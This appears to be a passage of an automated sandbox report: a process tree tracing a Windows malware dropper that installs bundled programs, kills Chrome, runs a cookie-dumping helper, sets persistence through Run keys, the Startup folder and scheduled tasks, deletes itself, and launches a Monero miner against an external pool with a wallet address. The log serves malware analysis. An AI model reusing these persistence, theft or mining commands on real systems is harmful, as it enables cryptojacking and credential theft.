                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                      PID:7432
                                                                                                                      • C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
                                                                                                                        "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
                                                                                                                        11⤵
                                                                                                                          PID:7280
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\b9-d9a8f-893-5aeb6-b6e58f849717e\Lyrocusufa.exe
                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\b9-d9a8f-893-5aeb6-b6e58f849717e\Lyrocusufa.exe"
                                                                                                                      9⤵
                                                                                                                      • Checks computer location settings
                                                                                                                      PID:7436
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\64-1a8a4-77b-b2293-0411462b3e2fc\Tetehaevuqa.exe
                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\64-1a8a4-77b-b2293-0411462b3e2fc\Tetehaevuqa.exe"
                                                                                                                      9⤵
                                                                                                                        PID:7728
                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\iais4c3t.lde\GcleanerEU.exe /eufive & exit
                                                                                                                          10⤵
                                                                                                                            PID:8464
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\iais4c3t.lde\GcleanerEU.exe
                                                                                                                              C:\Users\Admin\AppData\Local\Temp\iais4c3t.lde\GcleanerEU.exe /eufive
                                                                                                                              11⤵
                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                              PID:9156
                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bxghfz5v.n3j\installer.exe /qn CAMPAIGN="654" & exit
                                                                                                                            10⤵
                                                                                                                              PID:8600
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\bxghfz5v.n3j\installer.exe
                                                                                                                                C:\Users\Admin\AppData\Local\Temp\bxghfz5v.n3j\installer.exe /qn CAMPAIGN="654"
                                                                                                                                11⤵
                                                                                                                                  PID:7904
                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\51rzhh1p.kfe\ufgaa.exe & exit
                                                                                                                                10⤵
                                                                                                                                  PID:8716
                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2x5fwjeg.i25\anyname.exe & exit
                                                                                                                                  10⤵
                                                                                                                                    PID:9132
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\2x5fwjeg.i25\anyname.exe
                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\2x5fwjeg.i25\anyname.exe
                                                                                                                                      11⤵
                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                      PID:8364
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\2x5fwjeg.i25\anyname.exe
                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\2x5fwjeg.i25\anyname.exe" -q
                                                                                                                                        12⤵
                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                        PID:2160
                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\k3e5mruq.53p\gcleaner.exe /mixfive & exit
                                                                                                                                    10⤵
                                                                                                                                      PID:7848
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\k3e5mruq.53p\gcleaner.exe
                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\k3e5mruq.53p\gcleaner.exe /mixfive
                                                                                                                                        11⤵
                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                        PID:9000
                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zilrurvi.iyp\autosubplayer.exe /S & exit
                                                                                                                                      10⤵
                                                                                                                                        PID:8620
                                                                                                                              • C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe
                                                                                                                                "C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent
                                                                                                                                6⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                PID:3700
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-9EHCR.tmp\WEATHER Manager.tmp
                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-9EHCR.tmp\WEATHER Manager.tmp" /SL5="$10340,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent
                                                                                                                                  7⤵
                                                                                                                                  • Loads dropped DLL
                                                                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                  PID:3292
                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-N0E8T.tmp\Setup.exe
                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-N0E8T.tmp\Setup.exe" /quiet SILENT=1 AF=715 BF=715
                                                                                                                                    8⤵
                                                                                                                                      PID:6172
                                                                                                                                      • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=715 BF=715 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\is-N0E8T.tmp\Setup.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\is-N0E8T.tmp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629279487 /quiet SILENT=1 AF=715 BF=715 " AF="715" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912" BF="715"
                                                                                                                                        9⤵
                                                                                                                                          PID:7464
                                                                                                                                  • C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe
                                                                                                                                    "C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SID=717 CID=717 SILENT=1 /quiet
                                                                                                                                    6⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    • Loads dropped DLL
                                                                                                                                    • Enumerates connected drives
                                                                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                                                                    PID:2896
                                                                                                                                    • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                      "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner 1.0.0\install\FD7DF1F\Cleaner Installation.msi" SID=717 CID=717 SILENT=1 /quiet AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629279487 SID=717 CID=717 SILENT=1 /quiet " SID="717" CID="717"
                                                                                                                                      7⤵
                                                                                                                                        PID:7440
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\pub2.exe
                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\pub2.exe"
                                                                                                                              2⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Checks SCSI registry key(s)
                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                              • Suspicious behavior: MapViewOfSection
                                                                                                                              PID:1116
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Install.exe
                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\Install.exe"
                                                                                                                              2⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Modifies system certificate store
                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                                              PID:3076
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                                3⤵
                                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                                PID:4268
                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                  taskkill /f /im chrome.exe
                                                                                                                                  4⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                  PID:4164
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\jamesold.exe
                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\jamesold.exe"
                                                                                                                              2⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Suspicious use of FindShellTrayWindow
                                                                                                                              • Suspicious use of SendNotifyMessage
                                                                                                                              PID:2192
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\md9_1sjm.exe
                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\md9_1sjm.exe"
                                                                                                                              2⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Checks whether UAC is enabled
                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                              PID:2080
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Files.exe
                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\Files.exe"
                                                                                                                              2⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Adds Run key to start application
                                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                                              PID:368
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                3⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                PID:1544
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                3⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                PID:1112
                                                                                                                          • \??\c:\windows\system32\svchost.exe
                                                                                                                            c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                                                                                            1⤵
                                                                                                                            • Suspicious use of SetThreadContext
                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                                            PID:1204
                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                              C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                                              2⤵
                                                                                                                              • Checks processor information in registry
                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                              PID:4580
                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                              C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                                              2⤵
                                                                                                                              • Drops file in System32 directory
                                                                                                                              • Checks processor information in registry
                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                              • Modifies registry class
                                                                                                                              PID:2148
                                                                                                                          • C:\Windows\system32\rUNdlL32.eXe
                                                                                                                            rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                            1⤵
                                                                                                                            • Process spawned unexpected child process
                                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                                            PID:408
                                                                                                                            • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                              rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                              2⤵
                                                                                                                              • Loads dropped DLL
                                                                                                                              • Modifies registry class
                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                                              PID:3020
                                                                                                                          • \??\c:\windows\system32\svchost.exe
                                                                                                                            c:\windows\system32\svchost.exe -k netsvcs -s seclogon
                                                                                                                            1⤵
                                                                                                                            • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                                            • Modifies registry class
                                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                                            PID:3508
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\6B3E.exe
                                                                                                                            C:\Users\Admin\AppData\Local\Temp\6B3E.exe
                                                                                                                            1⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            PID:3392
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\bd1299733e\rnyuf.exe
                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\bd1299733e\rnyuf.exe"
                                                                                                                              2⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Adds Run key to start application
                                                                                                                              PID:4648
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\bd1299733e\
                                                                                                                                3⤵
                                                                                                                                  PID:4444
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\bd1299733e\
                                                                                                                                    4⤵
                                                                                                                                      PID:4652
                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                    "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rnyuf.exe /TR "C:\Users\Admin\AppData\Local\Temp\bd1299733e\rnyuf.exe" /F
                                                                                                                                    3⤵
                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                    PID:4548
                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\Explorer\Explorer.exe
                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\Explorer\Explorer.exe"
                                                                                                                                    3⤵
                                                                                                                                      PID:5320
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Microsoft\Microsoft.exe
                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\Microsoft\Microsoft.exe"
                                                                                                                                      3⤵
                                                                                                                                        PID:3620
                                                                                                                                        • C:\ProgramData\Systemd\Database.exe
                                                                                                                                          -o xmr.2miners.com:2222 -u 47mirFkDJ6TiY1fmhHxiP1ifdZ4NbdLM4DZoK2B99nLABGgXxbdk5u5RZFb41VaMw82eE8aEvusNQ9ifaWpRyvz99JiniVw -p password666 --coin=XMR --cpu-max-threads-hint=50
                                                                                                                                          4⤵
                                                                                                                                            PID:5892
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\Edge\Edge.exe
                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\Edge\Edge.exe"
                                                                                                                                          3⤵
                                                                                                                                            PID:6760
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\44E6.exe
                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\44E6.exe
                                                                                                                                        1⤵
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        PID:1664
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\ltHn9pRAcz.exe
                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\ltHn9pRAcz.exe"
                                                                                                                                          2⤵
                                                                                                                                            PID:7620
                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                              /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\sqlcmd.exe"
                                                                                                                                              3⤵
                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                              PID:4344
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\44E6.exe"
                                                                                                                                            2⤵
                                                                                                                                              PID:8044
                                                                                                                                              • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                timeout /T 10 /NOBREAK
                                                                                                                                                3⤵
                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                PID:1304
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\lY5NQbDlMS.exe
                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\lY5NQbDlMS.exe"
                                                                                                                                              2⤵
                                                                                                                                                PID:8012
                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  cmd /Q /C C:\Users\Admin\AppData\Local\Temp/s.bat
                                                                                                                                                  3⤵
                                                                                                                                                    PID:4168
                                                                                                                                              • C:\Windows\system32\rundll32.exe
                                                                                                                                                rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                1⤵
                                                                                                                                                • Process spawned unexpected child process
                                                                                                                                                PID:6136
                                                                                                                                                • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                  2⤵
                                                                                                                                                    PID:5344
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-3EL09.tmp\JFLd42wR370zQA52ac7JcwI8.tmp
                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-3EL09.tmp\JFLd42wR370zQA52ac7JcwI8.tmp" /SL5="$104DE,138429,56832,C:\Users\Admin\Documents\JFLd42wR370zQA52ac7JcwI8.exe"
                                                                                                                                                  1⤵
                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                  PID:6756
                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-EKA3I.tmp\Setup.exe
                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-EKA3I.tmp\Setup.exe" /Verysilent
                                                                                                                                                    2⤵
                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                    • Drops file in Program Files directory
                                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                                    PID:4640
                                                                                                                                                    • C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe
                                                                                                                                                      "C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" /qn CAMPAIGN="710"
                                                                                                                                                      3⤵
                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                      • Enumerates connected drives
                                                                                                                                                      • Modifies system certificate store
                                                                                                                                                      PID:6124
                                                                                                                                                      • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=710 AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629279487 /qn CAMPAIGN=""710"" " CAMPAIGN="710"
                                                                                                                                                        4⤵
                                                                                                                                                        • Suspicious use of SendNotifyMessage
                                                                                                                                                        PID:7844
                                                                                                                                                • C:\Windows\system32\msiexec.exe
                                                                                                                                                  C:\Windows\system32\msiexec.exe /V
                                                                                                                                                  1⤵
                                                                                                                                                  • Enumerates connected drives
                                                                                                                                                  • Drops file in Windows directory
                                                                                                                                                  PID:4696
                                                                                                                                                  • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                    C:\Windows\syswow64\MsiExec.exe -Embedding 9C50C7E327DE2D393F960E48E834B30F C
                                                                                                                                                    2⤵
                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                    PID:7324
                                                                                                                                                  • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                    C:\Windows\syswow64\MsiExec.exe -Embedding 32846D6BF18D0AD5498FE2283EAE6BA4 C
                                                                                                                                                    2⤵
                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                    PID:6496
                                                                                                                                                  • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                    C:\Windows\syswow64\MsiExec.exe -Embedding 1B76B0372141CBE2CD09FAD00FECCA97
                                                                                                                                                    2⤵
                                                                                                                                                    • Blocklisted process makes network request
                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                    • Enumerates connected drives
                                                                                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                                    PID:6172
                                                                                                                                                  • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                    C:\Windows\syswow64\MsiExec.exe -Embedding D6B2AC5FBFA3465EF39A1EB88120D87E C
                                                                                                                                                    2⤵
                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                    PID:8640
                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe
                                                                                                                                                    "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe"
                                                                                                                                                    2⤵
                                                                                                                                                    • Adds Run key to start application
                                                                                                                                                    PID:2256
                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\RequiredApplication_1\Cleaner_Installation.exe
                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\RequiredApplication_1\Cleaner_Installation.exe" -silent=1 -CID=717 -SID=717 -submn=default
                                                                                                                                                      3⤵
                                                                                                                                                      • Adds Run key to start application
                                                                                                                                                      PID:7884
                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" "--anbfs"
                                                                                                                                                        4⤵
                                                                                                                                                          PID:2344
                                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoLogo -ExecutionPolicy AllSigned -Command "C:\Users\Admin\AppData\Local\Temp\AI_383.ps1 -paths 'C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\file_deleter.ps1','C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe','C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites' -retry_count 10"
                                                                                                                                                        3⤵
                                                                                                                                                          PID:10028
                                                                                                                                                    • C:\Windows\system32\rundll32.exe
                                                                                                                                                      rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                      1⤵
                                                                                                                                                      • Process spawned unexpected child process
                                                                                                                                                      PID:5876
                                                                                                                                                      • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                        2⤵
                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                        PID:6324
                                                                                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                      1⤵
                                                                                                                                                      • Drops file in Windows directory
                                                                                                                                                      • Modifies Internet Explorer settings
                                                                                                                                                      • Modifies registry class
                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                      PID:8704
                                                                                                                                                    • C:\Windows\system32\browser_broker.exe
                                                                                                                                                      C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                      1⤵
                                                                                                                                                      • Modifies Internet Explorer settings
                                                                                                                                                      PID:8916
                                                                                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                      1⤵
                                                                                                                                                      • Modifies registry class
                                                                                                                                                      • Suspicious behavior: MapViewOfSection
                                                                                                                                                      PID:4856
                                                                                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                      1⤵
                                                                                                                                                      • Modifies Internet Explorer settings
                                                                                                                                                      • Modifies registry class
                                                                                                                                                      PID:9132
                                                                                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                      1⤵
                                                                                                                                                        PID:9144
                                                                                                                                                      • C:\Windows\system32\rundll32.exe
                                                                                                                                                        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                        1⤵
                                                                                                                                                        • Process spawned unexpected child process
                                                                                                                                                        PID:9240
                                                                                                                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                          2⤵
                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                          • Modifies registry class
                                                                                                                                                          PID:9264
                                                                                                                                                      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                        1⤵
                                                                                                                                                        • Modifies registry class
                                                                                                                                                        PID:9480
                                                                                                                                                      • \??\c:\windows\system32\svchost.exe
                                                                                                                                                        c:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall
                                                                                                                                                        1⤵
                                                                                                                                                        • Drops file in Windows directory
                                                                                                                                                        • Checks SCSI registry key(s)
                                                                                                                                                        • Suspicious use of SendNotifyMessage
                                                                                                                                                        PID:9484
                                                                                                                                                        • C:\Windows\system32\DrvInst.exe
                                                                                                                                                          DrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{49885565-52a3-6248-b391-f61f8669f376}\oemvista.inf" "9" "4d14a44ff" "0000000000000174" "WinSta0\Default" "0000000000000178" "208" "c:\program files (x86)\maskvpn\driver\win764"
                                                                                                                                                          2⤵
                                                                                                                                                          • Drops file in System32 directory
                                                                                                                                                          • Drops file in Windows directory
                                                                                                                                                          • Checks SCSI registry key(s)
                                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                                          PID:10224
                                                                                                                                                        • C:\Windows\system32\DrvInst.exe
                                                                                                                                                          DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "0000000000000174"
                                                                                                                                                          2⤵
                                                                                                                                                            PID:7120
                                                                                                                                                        • C:\Windows\system32\rundll32.exe
                                                                                                                                                          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                          1⤵
                                                                                                                                                          • Process spawned unexpected child process
                                                                                                                                                          PID:9348
                                                                                                                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                            rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                            2⤵
                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                            PID:3772
                                                                                                                                                        • \??\c:\windows\system32\svchost.exe
                                                                                                                                                          c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
                                                                                                                                                          1⤵
                                                                                                                                                          • Checks SCSI registry key(s)
                                                                                                                                                          PID:5692
                                                                                                                                                        • \??\c:\windows\system32\svchost.exe
                                                                                                                                                          c:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc
                                                                                                                                                          1⤵
                                                                                                                                                            PID:5152
                                                                                                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                            1⤵
                                                                                                                                                            • Modifies registry class
                                                                                                                                                            PID:9248
                                                                                                                                                          • C:\Program Files (x86)\MaskVPN\mask_svc.exe
                                                                                                                                                            "C:\Program Files (x86)\MaskVPN\mask_svc.exe"
                                                                                                                                                            1⤵
                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                                                            PID:10072
                                                                                                                                                            • C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exe
                                                                                                                                                              MaskVPNUpdate.exe /silent
                                                                                                                                                              2⤵
